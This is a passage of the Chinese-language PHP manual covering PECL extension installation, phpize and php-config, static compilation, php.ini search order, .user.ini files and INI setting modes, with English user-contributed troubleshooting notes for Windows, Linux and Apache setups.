如果问题出在编译时设置不匹配，那可能所下载的 DLL 文件不对。可以尝试使用正确的设置重新下载扩展。此外，phpinfo() 可以起到很大帮助。

User Contributed Notes

bk at kaelberer-aio dot de 26-Jan-2023 06:28
In addition to the helpful comments of ferdnyc and dario: A few weeks ago I've set up a new W11 using PHP 8.1. (as a module) with Apache. It was working fine.
Today i wanted to install the PECL-extension php-amqp. This extension comes with two additional files that are said to be placed in PHPs main directory. It worked fine running from the command prompt but with Apache the extension failed with "Unable to load dynamic library 'amqp'".
I tried 100 ways to notate paths in php.ini and http.conf: c:, C:, \, \\, /, ". I also installed a new PHP in the root to get rid of the space in the path. It did not help.
When reading dario's comment i stumbeled across him mentioning "path environment variable". I checked that in Window's settings and I realized, that i had added PHP's path to the USER'S path-settings, but not to the SYSTEM'S path. That is why it worked in the command prompt but not when starting Apache as a service. After adding it there it worked fine.
dario at 4assistance dot com 09-Jan-2023 10:57
On windows, drop your extension's dependencies into a dir of your choice, but outside of your php install. Add that dir to a path environment variable used by your php. Add <extension_name>.dll to your php's extension_dir, and update your php.ini (unless you're simply testing with php's cli).
ferdnyc at gmail dot com 03-Sep-2022 12:15
This is handwaved somewhat in the "Resolving problems" section, but mis-location of (non-extension) DLL files is often a problem when installing PHP extensions on Windows.

Many PHP extensions come with not only the extension DLL, but supplementary DLLs that are required by that extension. (For example, php_luasandbox.dll comes with lua5.1.dll, the lua interpreter it sandboxes.) Those other DLLs should go into the same directory as the php.exe binary, NOT the extension directory.

So, if php_luasandbox.dll is installed at C:\PHP8.1\ext\php_luasandbox.dll, the interpreter would be located at C:\PHP8.1\lua5.1.dll. That allows the PHP binary C:\PHP8.1\php.exe to find those additional DLLs when required.


用 PEAR 编译共享 PECL 扩展库

PECL 使建立共享 PHP 扩展库更容易。用 » pecl 命令这样做：

$ pecl install extname

这将下载 extname 的源代码，编译之，并将 extname.so 安装到 extension_dir 中。然后 extname.so 就可以通过 php.ini 加载了。

默认情况下，pecl 命令不会安装标记为 alpha 或 beta 状态的包。如果没有 stable 包可用，也可以用以下命令安装一个 beta 包：

$ pecl install extname-beta

也可以用此命令安装一个指定的版本：

$ pecl install extname-0.1

Note:

在 php.ini 中启用扩展之后，需要重新启动 web 服务以使更改生效。

User Contributed Notes

ezekial aikle 27-Aug-2023 06:22
Options to pass to configure (with -D or --configureoptions=) need to be specified this way in a Dockerfile RUN command:

RUN pecl install -D 'with-example-dir="/dir" enable-example-thing="yes"' package
or
RUN pecl install --configureoptions='with-example-dir="/dir" enable-example-thing="yes"' package

Otherwise, docker build might quote the command in a way that pecl doesn't parse correctly, and the build will fail with an error like this one:

PHP Fatal error:  Uncaught TypeError: array_key_exists(): Argument #2 ($array) must be of type array, null given in /usr/local/lib/php/PEAR/Builder.php:397
giulliano dot scatalon dot rossi at gmail dot com 18-Apr-2020 05:41
To install the PECL on debian based linux distros (ubuntu, mint, kali, etc.)
Use the apitude command:

sudo apt-get install php-pear

I hope helped someone
Bichis Paul 13-Jan-2017 03:37
on Mageia Linux use urpmi

[afk@mageia5][~]$ sudo urpmi php-pear
ericn at amazon dot com 18-Nov-2013 11:55
To compile pecl extensions on Amazon Linux AMIs, follow the tutorial at http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/install-LAMP.html and then install these additional required packages with the following command:

[ec2-user ~]$ sudo yum install php-devel zlib-devel curl-devel gcc

You should then be able to compile pecl extensions; for example, enter the following command to compile the pecl_http extension:

[ec2-user ~]$ sudo pecl install pecl_http
ktcox at mail dot com 06-Apr-2011 05:22
The Arch Linux package that contains PECL is 'php-pear'

# pacman -S php-pear
zir dot echo at gmail dot com 03-Jun-2008 11:43
Install pecl for gentoo:

emerge dev-php/PEAR-PEAR
pedro dot fonini at gmail dot com 30-Mar-2008 05:27
to use the pecl, pear, or phpize commands in fedora, install the php-devel package:
$ yum install php-devel


用 phpize 编译共享 PECL 扩展库

有时候不能用 pecl 安装命令。这可能是因为存在防火墙，或者要安装的扩展不可用作 PECL 兼容的包，例如 Git 中尚未发布的扩展库。如果要编译这种扩展，可以用更底层的编译工具来手工进行编译。

phpize 命令是用来准备 PHP 扩展库的编译环境的。下面例子中，扩展库的源程序位于 extname 目录中：

$ cd extname
$ phpize
$ ./configure
$ make
# make install

成功的安装将创建 extname.so 并放置于 PHP 的扩展库目录中。需要调整 php.ini，加入 extension=extname.so 这一行之后才能使用此扩展库。

如果系统中没有 phpize 命令并且使用了预编译的包（例如 RPM），那要安装 PHP 包相应的开发版本，此版本通常包含了 phpize 命令以及用于编译 PHP 及其扩展库的正确头文件。

使用 phpize --help 命令可以显示此命令用法。

User Contributed Notes

gautama dot himawan at yahoo dot com 21-Oct-2014 10:08
If you failed to run phpize command, then you should install php-devel package. Command line to install the php-devel package using yum is: yum install php-devel.

If you failed to compile the PECL extension, then you should install gcc package. Command line to install the gcc package using yum is: yum install gcc.
admin at eexit dot net 19-Jun-2012 07:33
When compiling an extension for a stack which is 64 bits (for example) and your compiler is configured to compile in 32 bits, you can manually compile your extensions using C flags before your configure.

Example: my system compiler is 32 bits and my stack is 64 bits. To compile my xdebug:

# phpize
# CFLAGS=-m64 CPPFLAGS=-m64 CCASFLAGS=-m64 ./configure --enable-xdebug
# gmake
# file modules/xdebug.so
modules/xdebug.so:      ELF 64-bit LSB dynamic lib AMD64 Version 1, dynamically linked, not stripped, no debugging information available
Brian 01-May-2008 11:39
If you have multiple PHP versions installed, you may be able to specify for which installation you'd like to build by using the --with-php-config option during configuration.

--with-php-config=[Insert path to proper php-config here]

For example (my case):
./configure --with-php-config=/usr/local/php5/bin/php-config5
Glen 17-May-2007 04:07
When you have multiple installations of PHP, running phpize from a specific installation will not force the module to be compiled with that installation's include files.

In my case, I had a standard PHP distribution installed, and am evaluating Zend Core / Zend Platform, which installed it's own Apache & PHP in a /usr/local/Zend/.. install path.  It was missing the json.so module, so I had to compile my own.

Running Zend Core's phpize, the output indicates that configuration for that module will occur.  But when running ./configure, the standard installation's include files are used.  The result json.so being compiled against the wrong PHP would not load when Zend Core's php initializes.

The only way I could see to correct the situation was to temporarily change the standard PHP include path to point to the Zend Core's include files.  In my case, I made a backup copy of /usr/include/php5 and did a "ln -s /usr/local/Zend/Core/include/php/ /usr/include/php5".
dmytton at php dot net 03-Dec-2005 11:45
In some situations (e.g. on a cPanel server), the built extension will not be placed into the correct extensions directory by the make install process. Use your phpinfo() output to determine what the correct extension_dir path is and move the generated .so file into that directory. The extension=extname.so line in php.ini will then find the extension file correctly.


php-config

php-config 是一个简单的命令行脚本用于获取所安装的 PHP 配置的信息。

在编译扩展时，如果安装有多个 PHP 版本，可以在配置时用 --with-php-config 选项来指定使用哪一个版本编译，设置相应 php-config 脚本的路径。

php-config 脚本在命令行所能使用的选项可以通过 -h 选项来查询：

Usage: /usr/local/bin/php-config [OPTION]
Options:
  --prefix            [...]
  --includes          [...]
  --ldflags           [...]
  --libs              [...]
  --extension-dir     [...]
  --include-dir       [...]
  --php-binary        [...]
  --php-sapis         [...]
  --configure-options [...]
  --version           [...]
  --vernum            [...]

命令行选项
选项 | 说明
--prefix | PHP 所安装的路径前缀，例如 /usr/local
--includes | 列出用 -I 选项包含的所有文件
--ldflags | PHP 编译时所使用的 LD flag
--libs | PHP 编译时所附加的库
--extension-dir | 扩展库的默认路径
--include-dir | 头文件的默认路径前缀
--php-binary | PHP CLI 或者 CGI 可执行文件的完整路径
--php-sapis | 列出所有可用的 SAPI 模块
--configure-options | 重现当前 PHP 在编译时的配置选项
--version | PHP 版本号
--vernum | PHP 版本号，以整数表示

User Contributed Notes

There are no user contributed notes for this page.


将 PECL 扩展库静态编译入 PHP

可能需要将扩展库静态编译到 PHP 中。这需要将扩展库源码放入 /path/to/php/src/dir/ext/ 目录中，去使用 PHP 编译系统来重新生成其 configure 脚本。

$ cd /path/to/php/src/dir/ext
$ pecl download extname
$ gzip -d < extname.tgz | tar -xvf -
$ mv extname-x.x.x extname

这将产生以下目录：

/path/to/php/src/dir/ext/extname

此时 PHP 需要强制重新生成配置脚本，然后正常编译 PHP：

$ cd /path/to/php/src/dir
$ rm configure
$ ./buildconf --force
$ ./configure --help
$ ./configure --with-extname --enable-someotherext --with-foobar
$ make
$ make install

Note: 要运行 buildconf 脚本，需要 autoconf 2.68 和 automake 1.4+。更高版本的 autoconf 也许能工作，但不被支持。

是否用 --enable-extname 或 --with-extname 取决于扩展库。通常不需要外部库文件的扩展库使用 --enable。当然，在 buildconf 之后运行：

$ ./configure --help | grep extname

User Contributed Notes

anthon at piwik dot org 15-Aug-2012 02:20
Some extensions cannot be statically linked (e.g., xdebug).


还有问题？

Table of Contents

  • 阅读 FAQ
  • 其它问题
  • 错误报告

User Contributed Notes

There are no user contributed notes for this page.


阅读 FAQ

有些问题比其它的更为普遍。最常见的列在 PHP 常见问题中，是本手册的一部分。

User Contributed Notes

There are no user contributed notes for this page.


其它问题

如果还卡着，PHP 安装邮件列表中的人可能会帮你。应该先查看归档，也许有人已经回答了另一个人提出的和你相同的问题。归档可以从支持页 » https://www.php.net/support.php 访问到。要订阅 PHP 安装邮件列表，发送一封空邮件去 » php-install-subscribe@lists.php.net。邮件列表地址是 » php-install@lists.php.net。

如果想从邮件列表中取得帮助，请准确给出有关你的环境的必要细节（哪个操作系统，PHP 的版本，哪个 web 服务器，是否以 CGI 方式还是以服务器模块方式运行 PHP），并给出足够的代码让别人能重现和测试你碰到的问题。

User Contributed Notes

There are no user contributed notes for this page.


错误报告

如果你觉得自己发现了一个 PHP 的 bug，请提出报告。PHP 开发人员也许还不知道有问题，除非你报告了，否则有可能不会被修正。可以通过错误跟踪系统 » https://github.com/php/php-src/issues 来报告错误。请不要在邮件列表或私人信件中发送错误报告。错误跟踪系统也可以用来提出对新特性的要求。

在提交错误报告之前请先阅读» 怎样报告错误！

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

Table of Contents

  • 配置文件
  • .user.ini 文件
  • 配置可被设定范围
  • 怎样修改配置设定

User Contributed Notes

goran 17-Sep-2013 10:30
To run separate apache and php processes on centos (at least) without
having to compile and install separate versions for every instance
this should work:

Install apache and php with yum.

This will give you (for the first instance):

/etc/httpd/*, /etc/sysconfig/httpd, /etc/init.d/httpd, /etc/php.ini
and /etc/php.d/*.

Copy all this stuff to:
/etc/httpd2/*, /etc/sysconfig/httpd2, /etc/init.d/httpd2,  /etc/php2.ini
and /etc/php2.d/*.

Then:

Edit the apache config files in /etc/httpd2/* to reflect the new
ports you want to have this apache listen on (don't forget ssl.conf
under conf.d) and any other differing settings, like log file
destinations and virtualhosts.

Edit the php2.ini for any specific settings you want the other php
instance to have.

To have a completely separate php in this new apache instance with its own
modules included, edit /etc/sysconfig/httpd2 and add the following:

PHPRC=/etc/php2.ini
export PHPRC
PHP_INI_SCAN_DIR=/etc/php2.d
export PHP_INI_SCAN_DIR

This will set the environment variables for the second apache/php
instance before it is started.

Then edit /etc/init.d/httpd2 and change all references to httpd
(like lockfile, pidfile and sysconfig) to httpd2. Don't touch the
executable name, though :)

And change this:

LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd $OPTIONS

to this:

LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd -f /etc/httpd2/conf/httpd.conf $OPTIONS

.. so this apache can find its own configuration file.

Then, if necessary 'chkconfig --add /etc/init.d/httpd2' to have it
in startup and you should have two apache instances with two separate
php modules with their own dedicated settings.
salivatears at gmail dot com 30-Nov-2010 07:18
For windows with limited file permission (Windows XP)

1. Install Apache in your folder profile "C:\Documents and Settings\your_profile"

2. Add the following directives to you httpd.conf
PHPINIDir "C:\Documents and Settings\your_profile\php"

LoadModule php5_module "C:\Documents and Settings\your_profile\php\php5apache2_2.dll"

AddType application/x-httpd-php .php

3. Edit the following directive to you php.ini
extension_dir = "C:\Documents and Settings\your_profile\php\ext"

4. Move the file libmysql.dll from C:\Documents and Settings\your_profile\php\ to C:\Documents and Settings\your_profile\php\ext\

5. Restart httpd using command line
georgeATdlouhyDOTinfo 23-Oct-2008 10:10
PHP 5.2.6 & Apache 2.2
----------------------
If you tried everything above and you server is not executing php script, look in php.ini at value:

short_open_tag = Off
;it does not recognise '<?', only '<? php' or '<script>'

Some editors come with '<?' as default, like mine did. After two days I finally found out...
php at chrismonster dot com 27-Jul-2008 10:33
w2k, apache 1.3.29, php 5.2.6: c:\php\php.ini was not found until the environment variable PHPRC was set to "c:\php", even though php was used as a module, not CGI.

just adding c:\php to the path was not adequate.

phpinfo() still shows "Configuration File (php.ini) Path" to be C:\WINNT, but "Loaded Configuration File" now correctly displays "C:\php\php.ini".

initially the problem appeared to be simply that the mysql extension was not loading; in fact, the problem was more fundamental (php.ini not found) but because php will still work with defaults, this was not obvious.
Anonymous 06-Feb-2008 02:03
Hello,

Having tried EVERYTHING on every php / mysql site to get php5.2.5 to talk to mysql server 5.0 (including all php.ini settings, all dlls, and many more ...)

Please try this: set Apache2.2 service Startup Type to MANUAL.  If not, it does not see to reload php.ini, no matter how many times you stop and start.

After 2 days, I finally see mysql info for <?php phpinfo(); ?>

Hope this helps!!
DK
jaw at jawspeak dot com - Jonathan Andrew Wolte 25-Jun-2007 05:01
Be sure to use double quotes in the php.ini file. For instance:

(lines broken for readability)

this will work:
# xdebug debugging
zend_extension="/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so"

this won't:
# xdebug debugging
zend_extension='/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so'

You'll get this error:
Failed loading '/usr/local/php5/lib/php/extensions/
no-debug-non-zts-20060613/xdebug.so':  (null)

So... double quotes are the way! I know this is obvious, but it's a good thing to remember for the php.ini file.
alvaro at demogracia dot com 16-Jun-2007 05:01
About Apache 2.0 module:

For whatever reason, the Windows installer for PHP/5.2.3 tries to set the PHPIniDir directive using "\\" as directory separator:

PHPIniDir "C:\\Archivos de programa\\PHP\\"

It didn't work for me until I edited httpd.conf and replaced it with "/":

PHPIniDir "C:/Archivos de programa/PHP/"
henrick at streamsec dot se 01-Apr-2007 05:07
In order to get PHP 5.2 stable running on Windows Server 2003 x64 (IIS 6.0), I discovered three things (in addition to the other comments above):

* Some PHP web applications make use of the SCRIPT_NAME server variable which is not available under CGI. You have to use php5isapi.dll, which is a 32 bit dll, so you have to run IIS in 32 bit mode. Confer http://support.microsoft.com/kb/894435. This applies to all ISAPI extensions and not just ASP.NET.

* It appears you must leave the doc_root entry in php.ini blank. At least, that is what finally made my installation work. (Note that others have suggested to set it to e.g. C:\inetpub\wwwroot or equivalent. That won't work if your server hosts more than one domain, each placed in a separate directory.)

* If you are e.g. using MySQL you will have to edit php.ini. In order for it to be found, you must set the PHPRC system environment variable or the registry entry. Note that if you edit the registry using regedit.exe, the PHP key should be placed under the [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node] key. This happens automatically if you set it using a 32 bit legacy application.
gprochnow AT PINT DOT COM 29-Mar-2007 12:19
Run php 4 and php 5.2.x on the same machine with IIS 6.0 as ISAPI.

1. Extract the ZIP packages of both php 4 & php 5 (not the Windows Installer) to c:\php4 & c:\php5 respectively

2. Setup the corresponding php.ini files in c:\php4 and c:\php5

3. Add the Web Service Extensions for php4 and php5. For php4 use c:\php4\sapi\php4isapi.dll, php5 use c:\php5\php5isapi.dll

4. Add the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\5\IniFilePath -> c:\php5

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath -> c:\php4

5. Add c:\php4 to the PATH environment variable.

6. Associate each web site in IIS with the corresponding php version.

7. Reboot

Note: That should work, test with phpinfo() in each site. You may need to refer to the php documentation if we missed any other settings.
cduke420 at gmail dot com 07-Jan-2007 10:16
[ When php run as Apache Module ]
DOCUMENT_ROOT .htaccess
+======================================+
SetEnv PHPRC /home/user/dir-containing-phpinifile
+======================================+

[ When php run as CGI ]
Place your php.ini file in the dir of your cgi'd php binary, in this case /cgi-bin/
DOCUMENT_ROOT .htaccess
+======================================+
AddHandler php-cgi .php .htm
Action php-cgi /cgi-bin/php5.cgi
+======================================+

[ PHP run as cgi with wrapper (for FastCGI) ]
Your wrapper script should look something like:
+======================================+
#!/bin/sh
export PHP_FCGI_CHILDREN=3
exec /user/htdocs/cgi-bin/php.cgi -c /home/user/php.ini
+======================================+

original article:
http://www.askapache.com/2007/php/custom-phpini-tips-and-tricks.html
Alonso 18-Nov-2006 04:21
Setting php.ini location for PHP working as Apache module (without use SetEnv directive in httpd.conf):

Before start Apache, set the PHPRC environment variable to the path where php.ini should be loaded, for example:

    PHPRC=/etc/php4/apache-another-path
    export PHPRC

In Debian we can do this way:

    In /etc/init.d/apache (the script that loads apache web server) we have this line:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin"

    Set to this:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin PHPRC=/etc/php4/apache-another-path"

Then wen you reload apache the php.ini will be loaded in the directory configured in PHPRC environment variable.
c dot affolter at stepping-stone dot ch 13-Mar-2006 05:38
For those people who want to use the PHPRC environment variable:
You have to specify the path to the directory containing your php.ini, not the direct path to the php.ini.

Example (php.ini resides in /your/path/php.ini):
right:
export PHPRC=/your/path

wrong:
export PHPRC=/your/path/php.ini
randy AT rcs-comp DOT com 26-May-2005 12:47
(copied from another page)
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!
Jorrit Schippers 26-May-2004 04:33
For IIS users: If you experience high parsetimes, try to set output_buffering to On. IIS has problems with scripts outputting many small pieces of text, and with output_buffering = On, PHP sends the whole page to IIS in one piece.


配置文件

配置文件（php.ini）在 PHP 启动时被读取。对于服务器模块版本的 PHP，仅在 web 服务器启动时读取一次。对于 CGI 和 CLI 版本，每次调用都会读取。

php.ini 的搜索路径如下（按顺序）：

  • SAPI 模块所指定的位置（Apache 2 中的 PHPIniDir 指令，CGI 和 CLI 中的 -c 命令行选项）。
  • PHPRC 环境变量。
  • 可以为不同版本的 PHP 指定不同的 php.ini 文件位置。注册表目录所在的位置取决于你的系统是 32 位还是 64 位。32-bit 的 PHP 运行在 32-bit 的系统或 64-bit 的 PHP 运行在 64-bit 系统时使用 [(HKEY_LOCAL_MACHINE\SOFTWARE\PHP] 32-bit 的 PHP 运行在 64-bit 的系统上时，则使用 [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\PHP]] 替代。 系统版本跟 PHP 版本架构一致时，会按以下顺序依次进行检查： [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y.z]， [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y] 和 [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x]，其中的 x，y 和 z 指的是 PHP 主版本号，次版本号和发行批次。 对于 32 bit 版本的 PHP 运行在 64 bit 系统上的情况，则会按以下顺序依次进行检查： [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x.y.z]， [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x.y] 和 [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x]，其中的 x，y 和 z 指的是 PHP 主版本号，次版本号和发行批次。如果在其中任何目录下的 IniFilePath 有键值，则第一个值将被用作 php.ini 的位置（仅适用于 Windows）。
  • [HKEY_LOCAL_MACHINE\SOFTWARE\PHP] 内 IniFilePath 的值（Windows 注册表位置）。
  • 当前工作目录（对于 CLI）。
  • web 服务器目录（对于 SAPI 模块）或 PHP 所在目录（Windows 下其它情况）。
  • Windows 目录（C:\windows 或 C:\winnt），或 --with-config-file-path 编译时选项指定的位置。

如果存在 php-SAPI.ini（SAPI 是当前所用的 SAPI 名称，因此实际文件名为 php-cli.ini 或 php-apache.ini 等），则会用它替代 php.ini。SAPI 的名称可以用 php_sapi_name() 来测定。

Note:

Apache web 服务器在启动时会把目录转到根目录，这将导致 PHP 尝试在根目录下读取 php.ini，如果存在的话。

在 php.ini 中可以使用环境变量，如下示例：

Example #1 php.ini 中的环境变量

; PHP_MEMORY_LIMIT 来自于环境变量的值
memory_limit = ${PHP_MEMORY_LIMIT}

由扩展库处理的 php.ini 指令，其文档分别在各扩展库的页面。内核配置选项见附录。不过也许不是所有的 PHP 指令都在手册中有文档说明。要得到自己的 PHP 版本中的配置指令完整列表，请阅读 php.ini 文件，其中都有注释。此外，也许从 Git 得到的» 最新版 php.ini 也有帮助。

Example #2 php.ini 例子

; any text on a line after an unquoted semicolon (;) is ignored
[php] ; section markers (text within square brackets) are also ignored
; Boolean values can be set to either:
;    true, on, yes
; or false, off, no, none
register_globals = off
track_errors = yes

; you can enclose strings in double-quotes
include_path = ".:/usr/local/lib/php"

; backslashes are treated the same as any other character
include_path = ".;c:\php\lib"

在 .ini 文件内可能会引用已存在的 .ini 变量。例如：open_basedir = ${open_basedir} ":/new/dir"。

扫描路径配置

可以通过配置，让 PHP 在读完 php.ini 后，扫描指定路径中的附加 .ini 配置文件。编译时通过 --with-config-file-scan-dir 参数来指定要扫描的目录。扫描路径也可以通过环境变量 PHP_INI_SCAN_DIR 来设置。

通过在扫描路径配置中加入特定系统的目录分隔符（Windows、NetWare 和 RISC OS 下是 ;；其它操作系统下是 :；该值可以通过 PHP 常量 PATH_SEPARATOR 获取），还可以设置多个扫描路径。如果 PHP_INI_SCAN_DIR 为空，PHP 一样会扫描在编译时指定的 --with-config-file-scan-dir 此路径。

对于每个目录而言，PHP 会以首字符顺序为优先级，扫描该目录下所有的 .ini 结尾的配置文件。所有被截入的配置文件，可以通过 php_ini_scanned_files() 函数来获取列表，也可以通过 PHP 命令行加入 --ini 参数来查看。

以下假设 PHP 配置为 --with-config-file-scan-dir=/etc/php.d
并且目录分隔符为 :

$ php
  PHP 会加载 /etc/php.d/*.ini 全部配置文件。

$ PHP_INI_SCAN_DIR=/usr/local/etc/php.d php
  PHP 会加载 /usr/local/etc/php.d/*.ini 全部配置文件。

$ PHP_INI_SCAN_DIR=:/usr/local/etc/php.d php
  PHP 会加载 /etc/php.d/*.ini 下的全部配置文件，然后加载
  /usr/local/etc/php.d/*.ini 下的全部配置文件。

$ PHP_INI_SCAN_DIR=/usr/local/etc/php.d: php
  PHP 会加载 /usr/local/etc/php.d/*.ini 下的全部配置文件，然后加载
  /etc/php.d/*.ini 下的全部配置文件。

User Contributed Notes

atv dot seth at gmail dot com 08-Dec-2023 07:32
For anyone who wants to ignore any directory entirely

On a linux Redhat distro (this was on EL9):

; if using php-fpm, put this file in place"
/etc/systemd/system/php-fpm.service.d/override.conf
[Service]
Environment="PHP_INI_SCAN_DIR="

; do a systemd config reload:
systemctl daemon-reload

; if you want to make sure php on the cli fails if it's not passing 'PHP_INI_SCAN_DIR= php' (this should also affect both linux normal+system users?) then drop this file in place:
cat /etc/php.d/00-dont-use-phpd.ini
auto_prepend_file=MISSING_ENV__PHP_INI_SCAN_DIR__SEE_ETC_PHPD_00_DONT_USE_PHPD_INI
; don't allow php.d directory to load in files
; you must pass 'PHP_INI_SCAN_DIR= ' before your php command on the cli
; reference:
; https://www.php.net/manual/en/configuration.file.php#configuration.file.scan
Pictor13 27-Nov-2023 09:12
Notice that `error_reporting` CANNOT be interpolated with an environment variable (e.g. `error_reporting = ${PHP_ERROR_REPORTING}`).

`error_reporting` is treated differently than other directives:
if assigned an environment variable, this will be silently ignored and replaced with value `0` (aka no-reporting).

I couldn't find documentation about it.
Is maybe an info that should be added in https://github.com/php/php-src/blob/8f5156fcba9906664ecd97e4c279ee980e522121/php.ini-production#L451-L500 ?

I am not aware if this specific behavior affects only `error_reporting` or also other directive.
weili 12-Aug-2021 04:00
For someone who's also wondering.

PHP can work even if there is no configuration file(php.ini) loaded,
it will simply applies the default values to directives.
ohcc at 163 dot com 03-Sep-2016 05:06
in php.ini you can reference to an existing directive or an environment variable using the syntax ${varname}.

Here are some examples.

sys_temp_dir = "${WINDIR}"

--- ${WINDIR} will be replaced by $_ENV['WINDIR'] at runtime

--- you can set environment variables by Apache and use them in php.ini
--- FcgidInitialEnv AUTHOR "WUXIANCHENG"
--- error_log = "${AUTHOR}.log"

error_log = "${sys_temp_dir}"

--- ${sys_temp_dir} will be replace by the value of sys_temp_dir

Also you can use PHP constants in php.ini, but DONT'T wrap them in ${} or "".

error_log = "/data/"PHP_VERSION"/"

---  it works like this php code:

$error_log =  "/data/" . PHP_VERSION . "/";


.user.ini 文件

PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI／FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里，则用 .htaccess 文件有同样效果。

除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（$_SERVER['DOCUMENT_ROOT'] 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

两个新的 INI 指令， user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名；如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒（5 分钟）。

User Contributed Notes

mark at manngo dot net 07-Aug-2022 12:38
Trap for young players, not that I'm such a young player myself.

The default setting for user_ini.cache_ttl is 300 seconds, which means that it refreshes every 5 minutes. If you are tweaking the settings in .user.ini, it could take up to 5 minutes before you see the results of your experimentation.

If you don't have access to php.ini where you can change this setting, you will have to learn to be very patient.
signups at altillc dot com 07-Jun-2020 05:01
For those looking for an example... .user.ini should be formatted as a simple list of [KEY]=[VALUE]\n sets.  For example, a one-line .user.ini file that serves solely to change the max allowable upload file size to 5Mb is:

upload_max_filesize="5M"
Anonymous 05-Sep-2019 03:05
Since the .user.ini is read from public directories, it's contents will be served to anyone requesting it and potientially show them sensitive configuration settings.

Add these lines to your .htaccess to block requests to it :
<Files ".user.ini">
    Require all denied
</Files>
info at vincentraal.nl 04-Sep-2018 01:15
Be aware that PECL htscanner doesn't work (yet) on PHP7.0.

'pecl install htscanner' throws an "zend_hash_update' undeclared'" error.
Anteaus at thenox dot com 25-Jul-2014 08:48
"If you are using Apache, use .htaccess files for the same effect."

To clarify, this applies only to Apache module mode. If you put php directives in .htaccess on an Apache CGI/FastCGI server, this will bomb the server out with a 500 error. Thus, you unfortunately cannot create a config which caters for both types of hosting, at least not in any straightforward way.
philsward at gmail dot com 03-Apr-2013 06:45
If you have no idea what "PHP_INI_PERDIR" or "PHP_INI_USER" are or how they relate to setting a .user.ini file, take a look at the ini.list page: http://www.php.net/manual/en/ini.list.php

Basically, anything in the "Changeable" column labeled as PHP_INI_SYSTEM can't be set in the .user.ini file (so quit trying).  It can ONLY be set at the main php.ini level.
interfaSys 05-Jan-2011 10:12
This article should be made clearer.
".htaccess-style INI files" meant to me that the ini settings had to follow the syntax used in .htaccess, but this is not the case!

You have to use
register_globals=on
and not
php_flag register_globals on

Also, the changes can take a while to propagate to all processes if you have a long process time out.
Restarting php-fpm can give you an answer quicker :)


配置可被设定范围

这些模式决定着一个 PHP 的指令在何时何地，是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定，而有些则只能在 php.ini 或 httpd.conf 中。

例如 output_buffering 指令是属于 PHP_INI_PERDIR，因而就不能用 ini_set() 来设定。但是 display_errors 指令是属于 PHP_INI_ALL 因而就可以在任何地方被设定，包括 ini_set()。

PHP_INI_* 模式的定义
模式 | 含义
PHP_INI_USER | 可在用户脚本（例如 ini_set()）或 Windows 注册表以及 .user.ini 中设定
PHP_INI_PERDIR | 可在 php.ini，.htaccess 或 httpd.conf 中设定
PHP_INI_SYSTEM | 可在 php.ini 或 httpd.conf 中设定
PHP_INI_ALL | 可在任何地方设定

User Contributed Notes

There are no user contributed notes for this page.


怎样修改配置设定

PHP 运行于 Apache 模块方式

当使用 PHP 作为 Apache 模块时，也可以用 Apache 的配置文件（例如 httpd.conf）和 .htaccess 文件中的指令来修改 PHP 的配置设定。需要有"AllowOverride Options"或"AllowOverride All"权限才可以。

有几个 Apache 指令可以使用户在 Apache 配置文件内部修改 PHP 的配置。哪些指令属于 PHP_INI_ALL，PHP_INI_PERDIR 或 PHP_INI_SYSTEM 中的哪一个，请参考附录中的 php.ini 配置选项列表。

php_value name value

设定指定的值。只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。要清除先前设定的值，把 value 设为 none。

Note: 不要用 php_value 设定布尔值。应该用 php_flag（见下面）。

php_flag name on|off

用来设定布尔值的配置指令。仅能用于 PHP_INI_ALL 和 PHP_INI_PERDIR 类型的指令。

php_admin_value name value

设定指定的指令的值。不能用于 .htaccess 文件。任何用 php_admin_value 设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。要清除先前设定的值，把 value 设为 none。

php_admin_flag name on|off

用来设定布尔值的配置指令。不能用于 .htaccess 文件。任何用 php_admin_flag 设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。

Example #1 Apache 配置例子

<IfModule mod_php5.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>
<IfModule mod_php4.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>

Caution

PHP 常量不存在于 PHP 之外。例如在 httpd.conf 中不能使用 PHP 常量如 E_ALL 或 E_NOTICE 来设定 error_reporting 指令，因为其无意义，实际等于 0。应该用相应的掩码值来替代。这些常量可以在 php.ini 中使用。

通过 Windows 注册表修改 PHP 配置

